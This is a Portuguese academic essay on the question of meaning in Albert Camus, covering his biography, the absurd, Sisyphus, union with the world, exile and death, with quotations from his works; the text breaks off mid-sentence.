A questão do Sentido em Albert Camus

A
questão do Sentido em Albert Camus

por Isabel Mª Magalhães R.L. Santos Maia

 


Vivo
sempre no presente. O futuro, não o conheço. O passado,
já o não o tenho.

Pesa-me
um como a possibilidade de tudo, o outro como a realidade de nada.

Não
tenho esperança nem saudades…que posso presumir da minha
vida de amanhã,

Senão
que será o que não presumo, o que não quero, o
que me acontece de fora,

Até
através da minha vontade…não quero mais da vida do
que senti-la perder-se

Nestas
tardes imprevistas

Fernando
Pessoa


Nota
biográfica


Albert
Camus nasceu em Mondovi a 7 de Novembro de 1913. Seu pai de nome
Lucien Camus, trabalhava como operário numa exploração
vinícula, sendo oriundo de uma família alsaciana,
instalada na Argélia em 1871. Sua mãe de nome Catherine
Sintès era uma simples empregada doméstica analfabeta e
precocemente atacada de surdez, mas cuja figura e presença
marcaram de forma inconfundível Camus. De facto, Camus nunca
dela se desprenderá, não obstante as diferenças
de ordem cultural e, inclusivé , de experiências,
recordando então no prefácio à sua primeira obra
intitulada O Avesso e o Direito, o quanto deve a toda a sua
família: o mérito desta feliz imunidade não
me cabe. Devo-a em primeiro lugar aos meus, a quem faltava quase tudo
e invejavam pouco mais do que nada. Apenas pelo seu silêncio, a
sua reserva, a sua altivez natural e sóbria, esta família
que nem sequer sabia ler, deu-me então, as minhas primeiras
lições que perduram ainda.
1


Em
1914 estala a Primeira Grande Guerra e seu pai é mobilizado
vindo a ser ferido na batalha do Marne e acabando por falecer no
hospital. Sua mãe regressa a Alger e instala-se num bairro
popular- Belcourt. As páginas de O Avesso e o Direito,
seu primeiro escrito, recordarão o retrato do seu pai numa
moldura dourada: Ele (seu pai) tinha morrido no campo de
honra, como se diz. Em lugar de honra, podem ver-se numa moldura
dourada, a cruz de guerra e a medalha militar.
2


Serão
também recordados nestas páginas a luz redonda do
candeeiro de petróleo
3
que se acende um pouco antes do jantar, no Inverno, e o barulho da
rua em determinadas alturas do dia:…Lá fora, a luz, os
ruídos; aqui o silêncio da noite.
4


Albert
Camus cresceu assim, num pequeno apartamento, vivendo com a sua mãe,
a avó, um tio doente e um irmão: A criança
crescerá, aprenderá, criam-no e pedir-lhe-ão
reconhecimento, como se lhe evitassem a dor. A sua mãe terá
sempre estes silêncios.
5


Garoto
de rua, misturado com os outros miúdos da sua vizinhança
(judeus, napolitanos, gregos, entre outros), Albert Camus vai ver
abrir-se perante si a alegria de uma vida ao ar livre. Talvez tenha
sido esta a sua primeira aprendizagem da liberdade e, no fundo, o seu
primeiro encontro consigo próprio: Cada artista mantém
(…) no fundo de si mesmo, uma fonte única que alimenta
durante a sua vida o que ele é e o que diz (…) sei que a
minha fonte está(…) nesse mundo de pobreza e de luz em que
vivi por muito tempo (…)a pobreza nunca foi para mim uma desgraça-
a luz derramava sobre ela as suas riquezas.
6


Em
1918 Albert Camus começa a frequentar a escola normal onde L.
Germain (um professor dessa instituição) cedo se
interessando por ele, fá-lo trabalhar para além das
horas de aula acabando por o apresentar ao concurso de bolsas para
colégios e liceus. É a L. Germain que serão
dedicados Os Discursos da Suécia.


As
lições de amor e de pobreza, as imagens de infância
que haviam privado Camus de qualquer ressentimento conheceram o seu
avesso aquando da sua entrada, na qualidade de bolseiro, para o Liceu
Bugeau, em Argel, onde enfrenta os preconceitos de classe da Argélia.
A sua sensibilidade precoce fê-lo sentir a discrepância
da sua posição; se bem que se sentisse próximo
dos seus camaradas franceses, quer pela cultura e nacionalidade, quer
pelo nome e apelido, sentia-se sentimentalmente próximo das
famílias árabes, em virtude das privações
do seu estatuto social. No liceu é considerado um indivíduo
cuja presença junto dos demais é, um pouco, a de um
intruso, de um estrangeiro. Foi por esta altura que começou
a ter os seus primeiros ataques de tuberculose não tendo este
infortúnio, jamais, provocado em si o amargor: (…)quando
uma doença grave me tirou provisoriamente a força da
vida que, em mim, tudo transfigurava, apesar das imperfeições
invisíveis e das novas fraquezas que nela encontrava, pude
conhecer o medo e o desânimo, jamais o amargor.
7


Em
1932 Camus prossegue os seus estudos superiores em Letras, tendo como
professores Paul M, Jean Grenier, filósofo ensaísta ao
qual se ligará numa fiel e forte amizade, como nos diz em O
Avesso e o Direito
: meu amigo e mestre J. Grenier8,
e a quem dedicará A Morte na Alma, O Avesso e o
Direito
e O Homem Revoltado. Para além de
J.Grenier, outros autores o marcaram, como foram os casos de
Montherland, Malreaux, Gide, Barrès, Nietzsche, Dostoiewski.


Hitler
acede ao poder em 1933 e Camus torna-se militante do movimento
anti-fascista Amesterdam-Pleyel, fundado por Henri Barbuse e
Rolland. Em 1934 casa-se (separando-se cerca de dois anos depois) e
no fim desse mesmo ano, adere ao Partido Comunista.


Durante
o ano de 1935 Camus prossegue os seus estudos em Filosofia na
Faculdade de Argel, necessitando para tal de fazer um certo número
de serviços, desde trabalhar regularmente no serviço de
meteorologia da Faculdade, no Governo Civil ou até vendendo
acessórios para automóveis. E é um ano mais
tarde que redige a sua tese superior de licenciatura intitulada
Metafísica Cristã e Neoplatinismo.


Em
1935/36 toma a seu cargo, junto com alguns amigos, a Casa da
Cultura
e funda o Teatro do Trabalho. No ano a seguir será
a publicação de O Avesso e o Direito e a
redacção de A Morte Feliz.


Torna-se
em 1936 jornalista do Alger Republican dirigido por Pascal Pia
a quem dedicará O Mito de Sísifo. Neste jornal
Camus exercerá quase todas as funções,
exprimindo-se com verdadeira virulência.


Em
Maio de 1939 publica Núpcias e estala a Segunda Grande
Guerra (Setembro de 1939). Camus tentou alistar-se, mas não
foi aceite por razões de saúde. Termina O
Estrangeiro que será publicado em 1942 e instala-se, a
título provisório, em Lyon onde casa pela segunda vez
com Francine Faure. Entra para a Resistência e para o grupo do
Combat sob o pseudónimo de Bauchard.


Até
1947 vamos encontrar a sua assinatura, todas as semanas, nos
editoriais do jornal, revelando-se não só um verdadeiro
comentarista da diplomacia internacional, como também um
cidadão atento às realidades e aspirações
do seu país. Durante estes anos assiste-se a uma divulgação,
em grande escala, de toda a sua obra. E é durante a guerra que
Camus escreve As Cartas a Um Amigo Alemão.


Em
1946 desloca-se aos Estados Unidos da América onde é
calorosamente recebido pela juventude universitária americana;
é o período de ouro, do prestígio e da fama.


Um
ano mais tarde é publicada A Peste cujo sucesso imediato valeu
a Camus o Prix des Critiques.


Em
1951 é a vez da publicação de O Homem Revoltado
que não é bem recebido pela crítica,
desagradando quer à esquerda, quer à direita. Esta obra
marca, de facto, o início de uma certa marginalização
de Camus e do seu pensamento no meio intelectual parisiense. Camus é
alvo de ataques por parte de diversas personalidades ( e entre elas
Sartre) que não lhe perdoam o que lhes pareceu ser uma
renegação das próprias ideias marxistas quando,
no fundo, mais não se tratava do que a conclusão de
toda uma reflexão amadurecida, fruto de um longo caminhar
interior.


Com
o seu livro votado ao ostracismo por parte de tantos que julgava seus
amigos, Camus, magoado, refugiar-se-á cada vez mais na
elaboração da sua obra e na montagem de adaptações
teatrais.


De
entre os acontecimentos da década de 50- revolta operária
das tropas soviéticas em Berlim leste; revolta húngara
em Outubro de 56- nenhum o afectou de forma tão dura e
profunda como a eclosão da rebelião no Norte de África.
A tragédia argelina que ensombrará os últimos
anos da sua vida assume, de facto, a dimensão de um drama
pessoal incitando Camus a regressar ao jornalismo, afim de fazer
ouvir de novo a sua voz. Perante o inegável agravamento da
situação e, no sentido de participar mais activamente
nos destinos daquela que era a sua terra natal, desloca-se a Argel
onde apela às tréguas. Malogrados os eus intentos,
regressa descrente a Paris, refugiando-se doravante num certo
silêncio. Camus é agora um homem desiludido, invadido
pelo pessimismo e dominado pelo sentimento de ser um intruso. É,
indiscutivelmente, o dilacerar do seu mundo interior. A guerra da
Argélia, país da sua infância e da sua
adolescência, é a aprendizagem de um novo tipo de
exílio.


Em
1957 obtém o Prémio Nobel da Literatura.


Um
ano mais tarde é a publicação de Os Discursos
da Suécia
e a reedição de O Avesso e o
Direito.


Em
1959 Camus começa a redacção de O Primeiro
Homem
, obra que permanecerá inacabada em virtude do seu
abrupto falecimento num acidente de viação em 4 de
Janeiro de 1960.


Se
Camus na sua juventude aderiu ao Partido Comunista denunciando nas
crónicas do Alger Republican a miséria dos seus
conterrâneos e, posteriormente, à Resistência, foi
sempre tendo como horizonte a felicidade, já que esta não
consente que se transponham determinadas barreiras: eu(…)
considerava que o homem devia colocar a justiça ao serviço
do combate contra a eterna injustiça e devia criar a
felicidade para protestar contra o universo do sofrimento (…) a
dificuldade da nossa acção consistia em fazer a guerra
sem todavia esquecer a felicidade (…) o heroísmo comparado
com a felicidade não vale nada
.9
É, pois, toda uma vida, toda uma obra, polarizada pela ideia
de felicidade, essa tão árdua busca.





1-
Introdução: da questão do sentido ao sentido da
questão



O
século XVII foi o século das matemáticas, o
século XVIII o das ciências e o século XIX o da
biologia. O nosso século XX é o século do
medo…o que mais efectivamente nos chama a atenção
neste mundo em que vivemos é, em geral e em primeiro lugar,
que a maioria dos homens (…) não tem futuro algum. Nenhuma
vida é válida sem projecção no

futuro10.
O medo e a angústia não são invenções
dos filósofos, mas algo constitutivo da condição
humana enquanto tal.


De
entre os acontecimentos que assolaram a nossa época, surgiu um
que, de facto, não tem paralelo na história: o
sentimento do absurdo, sentimento este, profundamente analisado em O
Mito de Sísifo
por Albert Camus, como sendo o verdadeiro
mal da nossa época. Viver tem um sentido que é a
própria condição de ser esse mesmo sentido, mas
existe, todavia, um inalienável sentimento que abala: trata-se
da consciência e da necessidade de uma certa familiaridade que
exige que o mundo seja explicado. A ciência, essa, de nada aqui
pode servir porque os seus aperfeiçoamentos práticos
ameaçam de destruição a Terra inteira
11
e só o olhar e o sentimento de acordo profundo com o mundo
podem trazer qualquer certeza. Este mundo não pode ser
reduzido nem a um princípio racional, nem a um absoluto que
lhe confira unidade. Num mundo conduzido por forças cegas e
surdas, incapazes de ouvir os gritos de alerta…as súplicas
12,
num universo assim privado de sentido, o homem sente-se um
estrangeiro. Esta fractura entre o mundo e o seu espírito deve
ser mantida, já que é ela a sua verdadeira condição
humana. Abolir tal fractura mais não seria do que adormecê-la
voluntariamente na ilusão de uma significação
para além da condição limitada do homem. Num
universo onde reinam a contradição, a antinomia, a
angústia, o impoder entre o sim e o não, o homem não
deve tentar concluir, uma vez que isso afirmar-se-ia como uma traição
à vida. A consciência da gratuitidade é feita da
própria recusa de esperar e de uma vida sem consolação.
O sentimento de se ser estrangeiro à sua própria vida
torna equivalentes todas as experiências. Tal sentimento de
divórcio entre o homem e a vida é o sentimento do
absurdo. Viver este absurdo é permanecer clarividente para que
seja possível aos homens "purgarem-se" de todo um
conjunto de emoções, em ordem a uma autenticidade, ou
seja, à lucidez e à disponibilidade.


Para
um sentimento como o do absurdo, a única verdade de que se
dispõe é, justamente, o absurdo, não restando
outra solução que não seja a de o manter na mais
plena lucidez; ele é o limite dentro do qual se tem de
organizar a vida, a única coerência de que se dispõe.
Renunciar ao absurdo é abster-se de ver claro e recusar a
única evidência que se dá ao nível do
humano. Qualquer renúncia ao absurdo é um suicídio
que pode ser físico- a morte- ou espiritual- apelar a
princípios transcendentes ao absurdo e à própria
vida. Neste sentido, a única solução possível
é a obstinação desesperada de manter o absurdo,
a lucidez, por mais amarga e irremediável que esta possa ser.
Até aqui tratava-se de saber se a vida devia ter um sentido
para ser vivida. A partir daqui, pelo contrário, impõe-se-nos
que ela será vivida até melhor por não ter
sentido (…) viver é fazer viver o absurdo
13,
diz-nos Camus em O Mito de Sísifo.


Sísifo
é um exemplo desta lucidez obstinada, pois é condenado
a um esforço inútil: empurrar diariamente uma rocha
fazendo-a subir ao cume de uma montanha, para assistir à sua
inevitável queda. Se bem que seja uma tarefa absurda, sem
sentido, é a única que pode realizar honestamente o
homem absurdo: Deixo Sísifo no sopé da montanha
(…) é preciso imaginar Sísifo feliz.
14


Todavia,
esta concepção do absurdo cedo se afirma insustentável.
Ninguém consegue viver eternamente em tal estado de separação
e, assim, o absurdo conduz à revolta na procura da unidade, da
felicidade, do sentido. A revolta afirma-se como um convite a que nos
façamos cúmplices da felicidade comum, na condição
de que esta seja uma cumplicidade transparente e não
ensombrada pela mentira e pelo engano. A questão do sentido é
a questão do homem e o homem é o único sentido
da questão, como nos deixa antever Camus em Cartas a Um Amigo
Alemão quando diz: Continuo a pensar que este mundo não
tem qualquer sentido superior. Mas sei que nele, se alguma coisa tem
sentido é o homem (…) este mundo possui pelo menos a verdade
do homem (…) é ele que fará com que seja salva, se
quisermos, a ideia que fazemos da vida.
15





2-
As núpcias com o mundo





O
problema fundamental do homem camusiano é o problema da união
e da separação. Perante o mundo ele sente-se
simultaneamente familiar e estrangeiro, solitário e solidário,
como nos revela Camus em O Mito de Sísifo: se eu fosse
árvore entre as árvores, gato entre os animais, esta
vida teria um sentido, ou melhor, este problema é que não
o teria, porque eu faria parte deste mundo. Seria este mundo ao qual
me oponho com toda a minha consciência e exigência de
familiaridade
.16



toda uma alternância de sentimentos de amor e de ódio,
de união e de separação em relação
a esse mesmo mundo. O mundo de Camus é um mundo de felicidade
e de infelicidade, de divisão e de unificação.
Este tipo de dualismos está patente, quer nos títulos
das suas obras, quer nas próprias obras. Será isto
sinónimo de um certo prazer da alternância, ou a
obsessão de um problema para o qual não existe solução?
Se a solidão existe, o que não ignoro, ter-se-ia
todo o direito, na ocasião própria, de sonhar com ela
como com um paraíso. Sonho com ela de vez em quando, como toda
a gente
17,
diz-nos Camus no prefácio a O Avesso e o Direito.


O
carácter iminentemente humano do problema da união e da
separação, a própria nostalgia e o apetite de
absoluto que ilustram bem o movimento essencial do drama humano, são
igualmente acentuados em O Mito de Sísifo.


A
dimensão fundamentalmente humana da obra de Camus reside,
precisamente, no drama que é por uma lado, a existência
de uma separação e, por outro, a nostalgia de uma
união. O homem só reflecte porque, de facto, sofre. É
quando toma consciência daquilo que o constitui, daquilo que
ele é, que se encontra face a uma contradição,
uma vez que só se sente ser, enquanto que é um
indivíduo distinto, rodeado de criaturas que pretendem
igualmente ser.


O
problema da humanidade é o do absurdo, como refere Camus logo
no início de O Mito de Sísifo: Só há
um problema filosófico verdadeiramente sério é o
suicídio. Julgar se a vida merece ou não ser vivida, é
responder a uma questão fundamental da filosofia. O resto, se
o mundo tem três dimensões, se o espírito tem
nove ou doze categorias vem depois. São apenas jogos; primeiro
é necessário responder
18
e ainda um mundo que se pode explicar, mesmo com más razões
é um mundo familiar. Mas, pelo contrário, num universo
subitamente privado de ilusões e de certezas, o homem sente-se
um estrangeiro.
19


O
homem inicia a sua vida em pleno acordo, numa plenitude, espécie
de paraíso. Este tipo de acordo transparece, justamente, no
facto de o homem consentir num casamento com a terra. Ao longo
das páginas de As Núpcias, este casamento
surge-nos de forma indubitável. O tema desta obra é a
própria paisagem mediterrânea, essa mistura de beleza e
indiferença. Núpcias é o testemunho de uma
felicidade encontrada, descoberta, conquistada em virtude de uma
saciedade física, na comunhão e na euforia! O
Mediterrâneo é simultaneamente uma lição
de desprendimento e uma enorme paixão: Caminhamos ao
encontro do amor e do desejo. Não procuramos lições
nem a amarga filosofia (…) fora do sol, os beijos, os perfumes
selvagens parecem-nos fúteis (…) eu sou com aqueles que eu
amo e leio sobre os seus traços o claro sorriso que toma o
rosto do amor
20
e ainda os deuses brilhantes do dia voltam à sua morte
quotidiana. Mas outros deuses virão (…) não sou eu
que
conto, nem o mundo, mas somente o acordo e o silêncio
que de ele a mim fazem nascer o amor.
21


O
homem vive aqui numa espécie de estado puramente animal, como
que desprovido de razão e de espírito, não tendo
ainda comido o fruto do conhecimento. O que ele conhece é
o corpo e a terra de que faz parte integral: Sentir os seus laços
com uma terra, o seu amor por alguns homens, saber que é
sempre um laço onde o coração encontrará
o seu acordo, são certezas para a vida de um homem.
22


Esta
união na qual o homem inicia a sua vida, não é
somente a união com a terra, com o mundo físico, mas
igualmente a união com o mundo social e metafísico, ou
seja, com os homens e com os deuses, já que todos surgem,
desde logo, numa mesma terra. Mesmo a morte surge como um silêncio
feliz
. No prefácio a O Avesso e o Direito, Camus
exprime toda esta nostalgia do paraíso perdido: Na ilusão
da vida, eis o homem que encontra as suas verdades e que as perde,
sobre a terra da morte, para regressar através das guerras,
dos lamentos, da loucura da justiça e do amor, da dor, enfim,
a essa pátria tranquila em que a própria morte é
um silêncio feliz (…) na própria hora do exílio,
porque pelo menos sei, de ciência certa, que a obra de um homem
outra coisa não é senão este longo caminhar para
a tornar a achar pelos desvios da arte, as duas ou três imagens
simples e grandes para as quais o coração pela primeira
vez se abriu.
23





3- O Exílio





Este
estado de fusão, de união plena e comunhão é
efémero, pois cedo é o despertar da consciência e
com ela o conhecimento e a lucidez. A felicidade do homem camusiano
constituída na ignorância e na inocência,
dissipa-se em virtude da descoberta da outra face que é a
inquietude. O homem camusiano é condenado ele também
a evoluir como homem – espécie. Ele vai agora comer o fruto do
conhecimento do bem e do mal, dotado de razão e expulso do seu
paraíso terrestre
24.
Expulso do paraíso o homem é condenado à
liberdade e à procura, no acordo com a terra, da unidade
fundamental, a partir da qual será possível a sua
felicidade. O homem camusiano é o homem do segundo acordar
e da segunda queda, e é já deste reacordar que
Camus nos fala em O Avesso e o Direito: E eis que a cortina
dos hábitos, a trama confortável dos gestos e das
palavras sem que o coração se acalma, se levanta
lentamente e descobre enfim, a face lívida da inquietação.
O homem está frente a frente consigo mesmo: desafio-o a ser
feliz (…) estabelece-se entre ele e as coisas um grande desacordo.
25


O
absurdo é quotidiano, só que é dele preciso
tomar consciência! O hábito de viver é anterior
ao hábito de pensar- Primum vivere, deinde philosophari
se bem que o hábito de viver tenha deformado o hábito
de pensar. Assim, neste sentido, a descoberta do absurdo é já
uma vitória! Importa, pois, perseguir essa lucidez.


Em
O Mito de Sísifo, o reacordar e a recaída
são ainda melhor descritos: Acontece que os cenários
desabam. Os gestos de levantar, o carro eléctrico, quatro
horas de escritório ou de fábrica, refeição,
sono e segunda-feira, terça, quarta, quinta, sexta e sábado
no mesmo ritmo, este estado segue-se com facilidade a maior parte do
tempo. Só um dia o "porquê" se levanta e tudo
recomeça nessa lassidão tingida de espanto (…) no
extremo desse despertar vem, com o tempo, a consequência- o
suicídio ou o restabelecimento (…) porque tudo começa
pela consciência e nada vale a não ser por ela.
26


O
que de facto define o homem no mundo é a sua condição
de exílio que é caracterizada pela absurdidade, pelo
pessimismo. O sentimento de absurdidade é, de facto, o
primeiro sentimento que o homem camusiano descobre perante este
estado de separação. A condição humana é
fundamentalmente absurda: há um divórcio não só
entre o homem e o mundo, mas também entre os próprios
homens…o sentimento do absurdo não brota de um simples
exame de um facto ou de uma impressão, mas jorra da comparação
entre um estado de facto e uma certa realidade, uma acção
e o mundo que a ultrapassa. O absurdo é essencialmente um
divórcio.
27


O
absurdo quer dizer ruptura de unidade ou separação
entre o apelo do homem à unidade e a visão que ele tem
das paredes que o cercam. Se o mundo tem o seu direito, possui
também o seu avesso, sendo ao mesmo tempo um exílio
e um reino. A condição humana é uma
condição cruel, limitada e sem amanhã. O homem
encontra-se numa terra dolorosa, no universo da dor, da infelicidade
e do divórcio.


Como
já tive oportunidade de referir, este divórcio não
é só entre o homem e o mundo, uma vez que o homem não
é só um exilado no universo, mas também um
exilado na sociedade e um estranho para si próprio. Há
todo um conjunto de dualidades pertencentes ao homem geral, mas que
são aqui revistas pelo homem camusiano: o tempo e o espaço,
o eu e o não-eu, seja ele metafísico,
psicológico ou social. O tempo pode alienar-nos e fazer-nos
descobrir (…) o estranho que em certos segundos vem ao nosso
encontro num espelho, o
irmão familiar, e apesar disso,
inquietante que encontramos nas nossas próprias fotografias
28,
mas o espaço também nos pode tornar estranhos a nós
mesmos, como é disto exemplo uma viagem e ainda do mesmo
modo e em relação a todos os dias de uma vida sem

lustro, o tempo carrega connosco…vivemos sobre o futuro:
‘amanhã’, ‘mais tarde
29,
mas o homem pertence ao tempo, e a esse horror que o apodera, onde
reconhece o seu pior inimigo.


A
oposição eu e não-eu pode
manifestar-se sob a forma de um exílio metafísico. O
homem é essencialmente um ser-no-mundo e a sua situação
de direito é poder manter as relações
proporcionadas com o mundo em virtude das exigências da
natureza humana, num universo que lhe seria natural, as relações
de parentesco deveriam funcionar. O homem faria, desta forma, parte
do universo onde encontraria a felicidade. Mas o mundo é anti
-natural, e o homem é uma criatura cega e errante no ténebre
de uma condição cruel e limitada. Há um
"mal-entendido" por todo o lado- o mundo é espesso.
Entrever até que ponto uma pedra nos é estranha, nos
é irredutível, com que intensidade a natureza, uma
paisagem nos pode negar (…) a hostilidade primitiva, através
de milhões de anos, regressa até nós (…) o
mundo foge-nos porque se transforma nele próprio…uma só
coisa: esta espessura e esta estranheza do mundo é o absurdo.
30


Este
aprisionamento do espírito é sentido pelo homem absurdo
como um desespero muito particular: A primeira diligência do
espírito é a de distinguir o que é verdadeiro do
que é falso(…) e assim sucessivamente até ao infinito
(…) este círculo vicioso…estranho a mim próprio e a
esse mundo, unicamente armado de um pensamento que se nega a si
próprio logo que se afirma, que condição é
essa…
31


Para
além das antinomias tempo/espaço, eu/não-eu
metafísico, o homem camusiano descobre sobretudo a tradicional
antinomia existente entre ele mesmo e os outros. O homem é
estranho para si próprio; ele é corpo e alma, mas estes
são mutuamente estranhos, como mostra Camus ao referir o
divórcio ridículo que separa as nossas

intemperanças da alma e as alegrias mortais do corpo32.
O absurdo reside no simples facto da alma desse corpo o ultrapassar
desmesuradamente. A nossa identidade pessoal escapa-se-nos; em nós
habita algo de "inumano" que estamos impossibilitados de
definir na totalidade: É provavelmente verdade que um homem
nos fica sempre desconhecido e que nele sempre subsiste qualquer
coisa de irredutível que nos escapa.
33


Este
algo de irredutível, este fosso, torna-se consideravelmente
maior quando se trata do próprio indivíduo porque se
tento alcançar este "eu" de que me apodero, se tento
defini-lo e resumi-lo, ele não é mais do que água
a escorrer-me por entre os dedos. Posso desenhar um a um todos os
rostos que ele sabe tomar e também todos aqueles que lhes
foram dados, a educação, a origem, o ardor ou os
silêncios, a grandeza ou a baixeza. Mas não podemos
adicionar rostos. Mesmo este coração que é o meu
ficar-me-á para sempre incompreensível. O fosso entre a
certeza que tenho da minha existência e o conteúdo que
tento dar a essa certeza, nunca estará cheio. Serei para
sempre estranho a mim mesmo.
34


Pensamos
que nos conhecemos e descobrimos um dia como sempre fomos estranhos á
nossa própria vida.


O
homem camusiano é igualmente obcecado pelo não-eu
social, ou seja, pelo outro. Para além de exilado
metafísico e exilado psicológico, o homem é
também um exilado na sociedade. Os outros escapam-nos e nós
escapamo-lhes se cortarmos os laços afectivos que nos
familiarizam com certas pessoas, tornando-se estas estrangeiros:
(…)há dias em que encontramos
como uma estranha
aquela que amamos
e Camus diz-nos ainda que os homens também
segregam algo de inumano. Em certas horas de lucidez, o aspecto
mecânico dos seus gestos, e a sua pantomina privada de sentido
torna estúpido tudo o que o rodeia. Um homem fala pelo
telefone por detrás de uma divisória de vidro; não
o ouvimos mas vemos a sua mímica sem alcance, perguntamos a
nós próprios porque vive ele. Esse mal estar ante a
inumanidade do próprio homem, essa queda incalculável
ante a imagem daquilo que somos, essa "náusea" como
lhe chama um autor dos nossos dias é também o absurdo.
35


Não
obstante a obsessão pelo não-eu social, o que
não é possível é negar a vida do outro.
Nada saberemos enquanto não soubermos se temos direito de
matar o outro que está diante de nós, ou consentirmos
na sua morte.


É
essencialmente em A Queda, Calígula e O Estrangeiro,
que o problema do outro se coloca de uma forma mais grave e
angustiante. Calígula lastima-se em virtude da presença
opressiva dos outros. Mersault, o herói de O Estrangeiro,
seria feliz mesmo sem Maria Cardona se não houvesse sempre a
presença do outro. Mersault leva uma vida sossegada,
pacífica, simples, até que um dia na praia, em virtude
do outro que lhe barra o caminho, se vê obrigado a
matá-lo. E é por ter morto o outro que Mersault
será preso. Em A Queda, Clamence mantém uma
relação conflituosa com o outro, relação
de luta constante, onde é alternadamente vencedor e vencido.
Esta obsessão do outro está bem expressa num
passo do seu discurso, onde chega a interpretar os acontecimentos
históricos e, inclusivé, o Evangelho em função
do outro, ao ponto de ver este drama na agonia e na morte de Cristo:
Olhe, sabe porque é que o crucificaram, o outro, aquele em
que neste momento talvez o Sr. Pense? Bom, havia carradas de razões
para matar um homem (…) mas ao lado das razões que muito bem
nos explicaram durante 2000 anos, havia uma grande para esta horrível
agonia, e não sei porque a esconderam tão
cuidadosamente. A verdadeira razão é que ele próprio
sabia que não estava completamente inocente (…) ele devia
ter ouvido falar de um certo massacre dos inocentes. As crianças
da Judeia massacradas enquanto os seus pais o levavam para lugar
seguro (…) e essa tristeza que se adivinha em todos os actos, não
será a melancolia incurável daquele que ouvia através
das noites a voz de Raquel gemendo sobre os seus filhos e recusando
toda a consolação?
36


Clamence
começou também por viver num acordo; era feliz e vivia
num acordo consigo mesmo até ao dia em que, subindo o Ponto
des Arts, julgou ouvir atrás de si um riso que lhe era
dirigido e então a partir do dia em que fiquei alerta, veio-me
a lucidez, recebi todos os ferimentos ao mesmo tempo e perdi de uma
só vez as minhas forças. O universo inteiro pôs-se
a rir à minha volta. Clamence sentir-se-á a partir
daqui dividido, cindido em dois e condenado a ouvir o outro. É
sobre este conflito interior entre o eu e o outro que
se funda todo o discurso de Clamence. A existência do outro
para a qual Clamence desperta agora desta forma abrupta, está
na origem da sua queda: queda na auto-acusação, no
próprio sentimento de culpabilidade, desconforto interior e,
inclusivé, na escala social, uma vez que Clamence se viu
privado de uma famosa carreira de advocacia, enfim, de toda uma bela
vida.


De
entre todas as formas de exílio que temos vindo a ver, o
exílio metafísico é o mais dilacerante e o mais
poderoso. O não-eu metafísico é uma força
exterior, estranha, que se impões ao indivíduo
governando a sua vida de uma forma inexorável sem que jamais
lhe seja possível compreendê-la e, muito menos ainda,
superá-la. Contra esta força o homem não pode
nada; qualquer contacto ou relação são
interditados desde logo. Neste sentido, o homem camusiano insulta
esta força misteriosa, dedicando-lhe um ódio feroz. As


Suas
blasfémias surgem sob a forma de odiosas homenagens, das quais
Calígula é exemplo: Para um homem que ama o poder, a
rivalidade dos deuses tem qualquer coisa de incómodo.
Suprimi-a. Provei a esses deuses ilusórios que um homem, se
tiver vontade, pode exercer sem aprendizagem o ridículo ofício
deles.
37


O
não-eu metafísico apresenta-se para Calígula
na forma dos deuses e do próprio destino como fatalidade, como
lei desprezível dos deuses, sendo estes os responsáveis
por tal abominável e revoltante destino. Calígula dá
também o nome de "morte" a este destino enquanto ele
se afigura como lei inexorável. A morte foi uma descoberta da
lucidez que concluiu pela absurdidade geral do mundo. Para um homem
cujo desejo natural é viver, a morte surge como uma
contradição: esta ideia de que sou, a minha maneira
de agir como se tudo tivesse um sentido…tudo isto se encontra
desmentido de maneira vertiginosa pelo absurdo de uma morte
possível.
38


A
vida é, indubitavelmente, o único valor e quanto mais
ela é exaltante, mais absurda é a ideia de a perder. Em
Don Juan tal amor só encontra fim na derradeira contradição
que é a morte
39.
A morte é absurda uma vez que não distingue nem bem
nem mal, é a fatalidade por excelência, uma morte sem
esperança. O absurdo elucida-me neste ponto: não há
amanhã
.40
A morte é para o homem camusiano a forma do não-eu
metafísico mais concreta, mais próxima e assim ele
concentra todo o seu ódio do destino no ódio da morte e
só vencendo-a poderá triunfar sobre os deuses e o
destino. É pois, contra a morte que o homem camusiano deve
conduzir a campanha da felicidade e ganhá-la! Neste sentido a
ideia da morte é paralela à ideia de felicidade: Na
ilusão da vida eis o homem que encontra as suas verdades e as
perde sobre a terra da morte para regressar através das
guerras, dos lamentos, da loucura, da justiça e do amor, da
dor, enfim, a essa pátria tranquila em que a própria
morte é um silêncio feliz.
41


A
morte obcecou Camus desde a sua juventude, sendo precisamente contra
ela que se ergue toda a sua obra e ao longo desta, é ainda a
ela, à morte, que Camus deve os seus fulgurantes momentos de
inspiração. O Avesso e o Direito, sua primeira obra, é
composta por ensaios que têm unicamente como pano de fundo essa
"musa inspiradora", a morte. Camus termina o seu primeiro
ensaio desta obra afirmando a morte para todos, mas para cada
um a sua morte
e termina igualmente o seu segundo ensaio com uma
alusão no mesmo âmbito. Com a Morte na Alma é
o título do seu terceiro ensaio e o último fala-nos de
um estranho amor de viver que não é mais, no fundo, do
que um terrível medo de morrer. A aventura de Calígula
inicia-se com uma morte- a de sua irmã e amante Drusilla- e
termina igualmente com a sua própria morte. O Estrangeiro
começa com uma alusão à morte da mãe de
Mersault e termina igualmente com a condenação do
herói. O Mal-Entendido , esse, não é mais
do que a trama de uma morte, a de João, que é estudada
meticulosamente e termina com dois suicídios- o de Martha e o
de sua mãe- A morte como experiência generalizada
surge-nos em A Peste, mas é em O Mito de Sísifo
que a morte assume a sua maior importância, já que é
nesta obra que o problema da cisão, da ruptura, é
tratado de forma mais apaixonante.


Como
temos oportunidade de constatar, a morte assume um papel primordial,
aparecendo-nos como constitutiva do mal metafísico, juntamente
com a própria ausência de explicação e de
unidade. No fundo, todas as personagens de Camus afirmam não
merecer tal condição de exílio num mundo, ele
próprio, submetido à morte sem esperança e ao
sofrimento, mesmo no caso de serem responsabilizados, tratados como
culpados: O mal que me fizeste é demasiado grande e
demasiado o mal que vos fiz para que seja voluntário. Para não
se odiar a si mesmo, ser-lhe-ia necessário declarar-se
inocente, ousadia sempre impossível para o homem só: a
dificuldade está em que ele se conhece. Pode-se ao menos
declarar que todos são inocentes embora os tratem como
culpados…
42


O
Bem e o Mal são, eles próprios, definidos em termos de
unidade e divisão pois posso negar tudo dessa parte de mim
que vive de nostalgia incerta, salvo esse desejo de unidade
43.
O mundo está sob o signo da divisão e , quer nele quer
fora dele, o homem só encontra desordem e ausência de
unidade. Tudo lhe é possível refutar, à excepção
da anarquia reinante no mundo: E sei ainda que não posso
conciliar estas duas certezas, o meu apetite de absoluto e de unidade
e a irredutibilidade deste mundo a um princípio racional e
razoável
44.
Mas o facto é que, se bem que inocente quanto ao mal
metafísico, o homem é simultaneamente inocente e
culpado no que concerne ao mal moral: é inocente em virtude da
presença do mal na própria raíz da vontade,
presença esta anterior à própria acção
